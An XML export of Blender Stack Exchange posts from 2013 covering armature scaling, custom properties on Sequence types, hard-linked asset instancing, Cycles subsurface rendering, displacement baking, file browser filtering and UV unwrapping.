  <row Id="1149" PostTypeId="5" CreationDate="2013-06-17T19:25:47.810" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-06-17T19:25:47.810" LastActivityDate="2013-06-17T19:25:47.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1150" PostTypeId="4" CreationDate="2013-06-17T19:25:47.810" Score="0" Body="The File Browser is generally used to read and write files. You can also use it to manage the entire file system and it also allows the internal structure of a .blend file to be browsed." OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-06-19T04:38:30.107" LastActivityDate="2013-06-19T04:38:30.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1152" PostTypeId="2" ParentId="1136" CreationDate="2013-06-17T22:24:09.733" Score="8" Body="&lt;p&gt;Generally if an armature already has animation data, it's not safe to scale it &lt;em&gt;and apply&lt;/em&gt; the transformation. It has something to do with changing the armature object's transformation matrix, because each keyframes in an action for a bone is recorded and evaluated against it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To illustrate, here I have a keyframed armature, and I just add a free-floating bone parented to &lt;code&gt;torso&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/klYnW.png&quot; alt=&quot;img1&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I halve the armature's size in object mode, each bone's matrix stays the same:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jakTL.png&quot; alt=&quot;img2&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But after I apply the scale transformation, it's a different matrix for each bones:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/SNm4J.png&quot; alt=&quot;img3&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever matrix operation is applied against the keyframe data, no longer turns out the correct transformation. In my experience, &lt;em&gt;only free-floating bones&lt;/em&gt; are prone to this problem (the feet doesn't stray like this when animated in FK).&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="185" LastEditDate="2013-06-17T22:51:22.890" LastActivityDate="2013-06-17T22:51:22.890" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1153" PostTypeId="1" AcceptedAnswerId="1155" CreationDate="2013-06-18T03:46:02.083" Score="7" ViewCount="1781" Body="&lt;p&gt;I am in the process of writing a tool that makes uses of Sequences in the Sequence Editor. I was trying the following in my add-on (register() method)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sequence.active = BoolProperty(name='Active', &#xA;                               description='Is the custom property group active', &#xA;                               default=True)`&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After I launch Blender and try to assign a value to my custom property, I get the following error&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; C.scene.sequence_editor.sequences[0].active = 1&#xA;Traceback (most recent call last):&#xA;File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1, in &amp;lt;module&amp;gt;&#xA;AttributeError: 'SceneSequence' object attribute 'active' is read-only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question is: Is it possible in anyway to add a custom property to a Sequence?&lt;/p&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-19T16:24:59.330" LastActivityDate="2015-04-26T03:33:53.163" Title="Is it possible to add a custom property on bpy.types.Sequence?" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="1154" PostTypeId="2" ParentId="1123" CreationDate="2013-06-18T04:20:54.550" Score="5" Body="&lt;p&gt;On Linux (have not tested on Mac) I recently used the following method to create layout for a shot that required 3 instances of a procedural rock creation rig. Then i created a proxy of the armature from each of the group instances and posed them accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VU0Zr.jpg&quot; alt=&quot;Reusing single asset using hard-links and instanced groups&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting with two folders: one containing an asset file and the other where my shot file exists. In the asset file the Rig/Geometry is grouped.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blend:~/demoProceduralRocks&amp;gt;&amp;gt; ls&#xA;asset/ shot1/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since I want to create create a scene that should have 3 identical instances of the asset, I create hard links to the file in the shot's import folder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blend:~/demoProceduralRocks&amp;gt;&amp;gt; cd shot1/import/&#xA;&#xA;blend:~/demoProceduralRocks/shot1/import&amp;gt;&amp;gt; ln -v ../../asset/Rock.blend Rock.instance.1.blend&#xA;&#xA;blend:~/demoProceduralRocks/shot1/import&amp;gt;&amp;gt; ln -v ../../asset/Rock.blend Rock.instance.2.blend&#xA;&#xA;blend:~/demoProceduralRocks/shot1/import&amp;gt;&amp;gt; ln -v ../../asset/Rock.blend Rock.instance.3.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is how it looks after creating hard links&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blend:~/demoProceduralRocks&amp;gt; ls -lirt asset/ shot1/import/&#xA;asset/:&#xA;total 172&#xA;22217836 -rw-rw-r-- 4 blend home 169297 2013-05-27 15:22 Rock.blend&#xA;&#xA;shot1/import/:&#xA;total 516&#xA;22217836 -rw-rw-r-- 4 blend home 169297 2013-05-27 15:22 Rock.instance.3.blend&#xA;22217836 -rw-rw-r-- 4 blend home 169297 2013-05-27 15:22 Rock.instance.2.blend&#xA;22217836 -rw-rw-r-- 4 blend home 169297 2013-05-27 15:22 Rock.instance.1.blend &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I layout the shot file by linking the groups from the hard linked files created above. Then I make a proxy of the Armature and Pose each proxy separately. (&lt;a href=&quot;http://www.youtube.com/watch?v=b_789nEl_M0&quot; rel=&quot;nofollow noreferrer&quot;&gt;A demo of this in action&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blend:~/demoProceduralRocks&amp;gt; tree ./&#xA;./&#xA;|-- asset&#xA;|   `-- Rock.blend&#xA;`-- shot1&#xA;    |-- Layout.shot1.blend&#xA;    `-- import&#xA;        |-- Rock.instance.1.blend&#xA;        |-- Rock.instance.2.blend&#xA;        `-- Rock.instance.3.blend&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="228" LastEditorUserId="228" LastEditDate="2013-06-19T16:36:11.537" LastActivityDate="2013-06-19T16:36:11.537" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1155" PostTypeId="2" ParentId="1153" CreationDate="2013-06-18T05:04:41.113" Score="11" Body="&lt;h2&gt;Update: &lt;code&gt;bpy.types.Sequence&lt;/code&gt;&lt;br&gt;Properties  is supported in 2.75 (or recent builds)&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The information below is kept since the answer still applies to types such as &lt;code&gt;bpy.types.TimelineMarker&lt;/code&gt; or &lt;code&gt;bpy.types.Modifier&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;In short - no. You can only add custom data properties on:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;ID&lt;/code&gt; (its subclasses &lt;code&gt;Action&lt;/code&gt;, &lt;code&gt;Armature&lt;/code&gt;, &lt;code&gt;Brush&lt;/code&gt;, &lt;code&gt;Camera&lt;/code&gt;, &lt;code&gt;Curve&lt;/code&gt;, &lt;code&gt;FreestyleLineStyle&lt;/code&gt;, &lt;code&gt;GreasePencil&lt;/code&gt;, &lt;code&gt;Group&lt;/code&gt;, &lt;code&gt;Image&lt;/code&gt;, &lt;code&gt;Key&lt;/code&gt;, &lt;code&gt;Lamp&lt;/code&gt;, &lt;code&gt;Lattice&lt;/code&gt;, &lt;code&gt;Library&lt;/code&gt;, &lt;code&gt;Mask&lt;/code&gt;, &lt;code&gt;Material&lt;/code&gt;, &lt;code&gt;Mesh&lt;/code&gt;, &lt;code&gt;MetaBall&lt;/code&gt;, &lt;code&gt;MovieClip&lt;/code&gt;, &lt;code&gt;NodeTree&lt;/code&gt;, &lt;code&gt;Object&lt;/code&gt;, &lt;code&gt;PaintCurve&lt;/code&gt;, &lt;code&gt;Palette&lt;/code&gt;, &lt;code&gt;ParticleSettings&lt;/code&gt;, &lt;code&gt;Scene&lt;/code&gt;, &lt;code&gt;Screen&lt;/code&gt;, &lt;code&gt;Sound&lt;/code&gt;, &lt;code&gt;Speaker&lt;/code&gt;, &lt;code&gt;Text&lt;/code&gt;, &lt;code&gt;Texture&lt;/code&gt;, &lt;code&gt;VectorFont&lt;/code&gt;, &lt;code&gt;WindowManager&lt;/code&gt;, &lt;code&gt;World&lt;/code&gt;', etc...)&lt;br&gt;Try run: &lt;code&gt;bpy.types.ID.__subclasses__()&lt;/code&gt; to see all.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Bones&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PoseBones&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;AddonPrefs&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;Node&lt;/code&gt;, &lt;code&gt;NodeSocket&lt;/code&gt;, &lt;code&gt;NodeSocketInterface&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;OperatorProperties&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The reason this gives confusing output is that the initial assignment is using Pythons regular class assignment, in this case its not using a metaclass (which would interpret the property definitions and apply them as you are expecting).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Sequence.foobar = 22&#xA;print(bpy.context.sequences[0].foobar)&#xA;# &amp;gt;&amp;gt;&amp;gt; 22&#xA;bpy.context.sequences[0].foobar = 11 # &amp;lt;-- will error!&#xA;# AttributeError: 'SceneSequence' object attribute 'foobar' is read-only&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So why use this at all?&#xA;- Because it allows you to add utility methods &amp;amp; properties at run-time. Note that this is standard python and nothing Blender specific (unlike custom properties).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.types.Sequence.calc_frame_mid = (lambda seq:&#xA;        (seq.frame_final_start + seq.frame_final_end) / 2)&#xA;&#xA;print(bpy.context.sequences[0].calc_frame_mid())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... you can add Python style &lt;a href=&quot;https://stackoverflow.com/questions/2954331/dynamically-adding-property-in-python&quot;&gt;properties&lt;/a&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note, adding methods and properties to existing data types is known as &lt;code&gt;Monkey Patching&lt;/code&gt; and often considered bad practice, however you can also use this to dynamically build up functionality into classes you generate for instance, so it can be used in some interesting/useful ways too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify Blenders built in types it will make the changes globally so beware it could break other scripts or even make Blender fail to use its own API's correctly, so this is really advanced api usage.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-04-26T03:33:53.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1158" PostTypeId="2" ParentId="1144" CreationDate="2013-06-18T09:15:45.220" Score="2" Body="&lt;p&gt;I think you could edit the node tree on the materials that are transparent, but shadow should not use transparency, the following way: Before the output node, add a mix shader that mixes the original main shader with a simple solid black shader, and plug the &lt;i&gt;IsShadowRay&lt;/i&gt; input to the mix factor. This should theoretically do it. Currently I am at work, so no Blender here, later I might try it and add images.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2014-03-10T09:59:28.360" LastActivityDate="2014-03-10T09:59:28.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1159" PostTypeId="2" ParentId="925" CreationDate="2013-06-18T09:33:45.860" Score="7" Body="&lt;p&gt;You can press &lt;kbd&gt;I&lt;/kbd&gt; hovering on seed on the start frame, add a keyframe, go to last frame, change the seed to some pretty high number, and add another keyframe. This will also achieve the result. The previous one is still nicer.&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="649" LastEditDate="2016-08-01T12:37:27.063" LastActivityDate="2016-08-01T12:37:27.063" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1160" PostTypeId="2" ParentId="1144" CreationDate="2013-06-18T09:42:31.343" Score="7" Body="&lt;p&gt;There will be a &amp;quot;Transparent Shadows&amp;quot; option per material in version 2.68 and the latest Blender builds.&lt;/p&gt;&#xA;&lt;p&gt;Using a Light Path node to disable transparency helps and achieves the same visual result, but it still needs to execute the shader to find out, which costs some performance.&lt;/p&gt;&#xA;&lt;h1&gt;Update:&lt;/h1&gt;&#xA;&lt;p&gt;This is now accessible in &lt;em&gt;materials &amp;gt; settings&lt;/em&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nhbKS.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="242" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-06-12T07:09:15.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1161" PostTypeId="1" AcceptedAnswerId="1165" CreationDate="2013-06-18T10:23:50.057" Score="20" ViewCount="21341" Body="&lt;p&gt;In true &lt;a href=&quot;http://blog.stackoverflow.com/2011/07/its-ok-to-ask-and-answer-your-own-questions/&quot;&gt;stackexchange tradition&lt;/a&gt;. I am interested to see how people approach generating a good quality displacement map from existing 3D geometry. For completeness, list the qualities that make up a good displacement map. I'm not looking for links to external tutorials, but short descriptions of your methods are welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My current method involves setting up a orthographic camera viewing the geometry, and setting the far and near clipping field to the extents of the geometry. Then render the image and extract the z-buffer by normalizing it so it becomes a grey scale and outputting that as a file from the compositor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will elaborate on my method as an answer, &lt;strong&gt;&lt;em&gt;if&lt;/em&gt;&lt;/strong&gt; no one offers a more convenient procedure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/v9uxK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="12" LastEditDate="2013-12-18T15:22:08.243" LastActivityDate="2020-10-20T12:40:03.043" Title="How to make a displacement map from existing 3d geometry" Tags="&lt;modeling&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="1163" PostTypeId="1" AcceptedAnswerId="1164" CreationDate="2013-06-18T10:33:28.040" Score="9" ViewCount="3001" Body="&lt;p&gt;Blender 2.67&#xA;Windows 7&#xA;Geforce gtx460&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Head model with subsurface scattering and one texture&#xA;Cpu render - fine, but slow.&#xA;gpu render - face comes out black! (it was working at first it changed for some reason)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any suggestions? why should this happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an image of the problem&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9CQi3.jpg&quot; alt=&quot;http://www.giantoakstudios.com/ShowBLack.jpg&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="733" LastEditorUserId="185" LastEditDate="2013-06-18T11:29:21.100" LastActivityDate="2016-07-30T12:39:32.367" Title="Cycles Subsurface shader: GPU compute and CPU compute give totally different results" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="3" ClosedDate="2014-11-14T10:58:36.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="1164" PostTypeId="2" ParentId="1163" CreationDate="2013-06-18T11:45:52.237" Score="12" Body="&lt;p&gt;&lt;s&gt;The SSS shader has not been implemented for GPU rendering yet. It will always render black.&lt;/s&gt;&#xA;&lt;strong&gt;Update:&lt;/strong&gt; SSS now works on GPU, so they should look the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're looking for quick renders, SSS is not a good idea. If you can get away with a simple &lt;em&gt;Diffuse BSDF&lt;/em&gt; shader with a bit of &lt;em&gt;Translucent BSDF&lt;/em&gt;, that'd be great.&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="9" LastEditDate="2016-07-30T12:39:32.367" LastActivityDate="2016-07-30T12:39:32.367" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1165" PostTypeId="2" ParentId="1161" CreationDate="2013-06-18T11:59:59.900" Score="15" Body="&lt;p&gt;The best way I know is to use &lt;em&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/latest/render/cycles/baking.html#render-baking&quot; rel=&quot;nofollow noreferrer&quot;&gt;Baking&lt;/a&gt;&lt;/em&gt;.&#xA;You must have your plane (or whatever the low-res object is) UV mapped with a new image assigned to all the faces you want to bake to (select faces in edit mode, select/reselect the image in the Image Editor).&#xA;Then in the Render settings, at the bottom is the bake panel.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/KVFgb.png&quot; alt=&quot;Bake panel&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Normalized&lt;/strong&gt; allows you to specify a maximum distance&#xA;&lt;strong&gt;Selected to Active&lt;/strong&gt; is important too, enable it to ensure the displacement is baked from all selected objects to the active/last selected object.&lt;/p&gt;&#xA;&lt;p&gt;Example:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Ky1mT.png&quot; alt=&quot;example image&quot; /&gt;&#xA;(&lt;em&gt;Note that baking doesn't play nice with overlapping geometry - in this example the underneath of the sphere and torus was deleted, and the sphere moved up to ensure it doesn't collide with the torus. Not doing this will produce artifacts.&lt;/em&gt;)&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="15924" LastEditDate="2020-10-20T12:40:03.043" LastActivityDate="2020-10-20T12:40:03.043" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="1166" PostTypeId="2" ParentId="1049" CreationDate="2013-06-18T13:19:34.887" Score="1" Body="&lt;p&gt;It sounds like your materials or your textures or your caches are linked. You can check this by changing one setting for &lt;em&gt;Smoke A&lt;/em&gt; and see if it applies for &lt;em&gt;Smoke B&lt;/em&gt;. If so, then your issue is linking.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get rid of the link, click the button with the number on it next to the material and texture. That should fix it.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-06-18T13:19:34.887" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1167" PostTypeId="1" CreationDate="2013-06-18T16:58:48.490" Score="7" ViewCount="12276" Body="&lt;p&gt;I'm looking for a efficient way to do image masking within Blender (using the masking tool) &amp;agrave; la After Effects.  Basically, I want to cut out my images from within Blender instead of doing it destructively in an image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, in AE, I would precomp an image then do the masking in that precomp.  I'd like to mimic this workflow in Blender; however, it always seems overly complicated.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have considered creating a separate scene with the same dimensions as the image and masking there, then bringing it into a master scene to assemble in 3D space, but I'm not sure I can map this to a plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry that I may not be explaining this very well. If anyone is familiar with AE, then you'll be familiar with what I'm trying to achieve.&lt;/p&gt;&#xA;" OwnerUserId="675" LastEditorUserId="372" LastEditDate="2013-08-13T06:54:59.643" LastActivityDate="2014-09-27T07:32:52.890" Title="Best practices for masking image layers for compositing?" Tags="&lt;compositor&gt;&lt;masking&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1168" PostTypeId="1" AcceptedAnswerId="1169" CreationDate="2013-06-18T20:38:59.073" Score="6" ViewCount="802" Body="&lt;p&gt;I have become used to the convenience of the following when searching for and opening a file in Windows (7)&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Start typing the name of the file into an edit box and have files beginning with the same characters start showing up as a list underneath&lt;/li&gt;&#xA;&lt;li&gt;Type part of the file name wrapped in asterisks (like *orange_tex*), press enter, and have the list of files filtered based on that wildcard.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;But I find that Blender's file browsing page (the page you're on if your loading a texture into your scene, for example) is difficult to use if you're in a directory with a large number of files in it.  You kind of have to know the full name of the file or sort by file name alphabetically and scan visually for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I am wondering if there is actually something built into this file browser that I'm not aware of that will make it easier to find a particular file quickly within a large list.   Does anyone know of such a thing?&lt;/p&gt;&#xA;" OwnerUserId="422" LastEditorUserId="12" LastEditDate="2013-06-19T15:32:02.600" LastActivityDate="2016-11-07T06:30:36.673" Title="Getting to a file easily/quickly in blender's file browser" Tags="&lt;file-browser&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1169" PostTypeId="2" ParentId="1168" CreationDate="2013-06-18T20:53:13.727" Score="8" Body="&lt;p&gt;Blender's file selector doesn't support this kind of filtering, but since you ask this question, here is some related functionality.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You can use &lt;kbd&gt;Tab&lt;/kbd&gt; to auto-complete when typing a file name as you would in a shell..&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;You can also filter files by typing wildcards into the filename field &lt;code&gt;*.&lt;/code&gt; followed by an extension eg &lt;code&gt;foo*.blend&lt;/code&gt;, &lt;code&gt;project*.*&lt;/code&gt;. When you press &lt;kbd&gt;Enter&lt;/kbd&gt;, this will highlight all files with the extension in the current directory. &lt;em&gt;(you can use&lt;/em&gt; &lt;kbd&gt;A&lt;/kbd&gt; &lt;em&gt;to clear the highlighting)&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;When &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/Files/Open&quot; rel=&quot;nofollow noreferrer&quot;&gt;opening&lt;/a&gt; files, you can use the &lt;em&gt;filters&lt;/em&gt; available in the header to help narrow your search etc.. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6qscE.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Search (Addon)&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There is an addon that can further help you when searching for files called &lt;a href=&quot;http://studio.allblue.pl/wiki/wikis/blender/file-browser-search/&quot; rel=&quot;nofollow noreferrer&quot;&gt;File Browser Search&lt;/a&gt;. It presents you with a list of results that matched your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Xj5y2.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xj5y2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2016-11-07T06:30:36.673" LastActivityDate="2016-11-07T06:30:36.673" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="1170" PostTypeId="1" CreationDate="2013-06-18T23:51:36.017" Score="3" ViewCount="3914" Body="&lt;p&gt;After UV unwrapping a rounded object, drawing and painting a texture on it with a different program is difficult! It's not precise. I can't paint lines accurately, because it's spherical! Maybe you guys understand. How can I accurately and precisely paint and draw in a different program, on an a warped UV?&lt;/p&gt;&#xA;" OwnerUserId="745" LastEditorUserId="372" LastEditDate="2013-08-12T04:30:44.873" LastActivityDate="2013-08-12T04:30:44.873" Title="Advice on how to understand UV unwrap a rounded object" Tags="&lt;uv&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1171" PostTypeId="2" ParentId="1170" CreationDate="2013-06-19T06:35:17.100" Score="3" Body="&lt;h2&gt;Stretching&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;First of all, you should make sure that your UV map is free from stretching as much as possible. It is impossible to make it complete stretch free unless you split every triangle. If you plan to draw on the texture only in the 3D editor, that might be a possibility.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check stretching, assign a checkered texture, like the built in in blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, in the UV/image editor, in the left panel (hit N), under display, you can check the stretch checkbox. It will color code stretching. Pure blue means no stretching. Various nuances of light blue, cyan, green, and all the way to red means more or less stretching.&#xA;There are two kinds of stretching to select here, angle and scale. I mostly use the angle stretching.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Cylindrical mapping&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;To make it easy to paint latitude and longitude lines, you can use cylindrical mapping. In the 3D editor, in edit mode press U and select Cylindrical projection. The projection is relative your view. Press 5 and 1 on the numpad before doing the projection.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, this technique will give you serious stretching at the poles. The top row and bottom row in the texture will be be concentrated to a single vertex.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-06-19T09:15:07.720" LastActivityDate="2013-06-19T09:15:07.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1172" PostTypeId="2" ParentId="1161" CreationDate="2013-06-19T09:22:43.037" Score="5" Body="&lt;p&gt;One way to solve it is with a gradient texture, it's crude but it works. This also gives you lots control over the output. If you want to separate objects but need to have them appear on the same plane, this works. If you want to blend multiple details, this works (using translucent textures).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;View your object from the side, in edit mode hit u and project from view (bounds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Efilo.png&quot; alt=&quot;Original mesh&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7OqCP.png&quot; alt=&quot;UV unwrap from the side (ortographic view)&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assign a white-black gradient. Make the object self illuminating.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gzofg.png&quot; alt=&quot;White black gradient&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/qlQv1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Render from top. Make the camera orthographic and adjust the scale to fit the object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fa8j5.png&quot; alt=&quot;Render resolution&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6lKHp.png&quot; alt=&quot;Camera settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only works for flat renderings. For the height above a sphere (such as mountains on a planet), this does not work, use baking. This solution can work in some conditions, making it an alternative to baking.&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditDate="2013-06-20T07:47:43.617" LastActivityDate="2013-06-20T07:47:43.617" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="1173" PostTypeId="2" ParentId="1124" CreationDate="2013-06-19T09:31:40.087" Score="1" Body="&lt;p&gt;Another solution is to paint your own t-shirt on the body with the grease pencil tool and the Bsurfaces Add-on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lBXDd.png&quot; alt=&quot;Bsurfaces Add-on&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's not only for retopology. You can paint different meshes on you body. Sometimes it's helpful to have another topology for your cloth than your body-mesh.&lt;/p&gt;&#xA;" OwnerUserId="670" LastActivityDate="2013-06-19T09:31:40.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
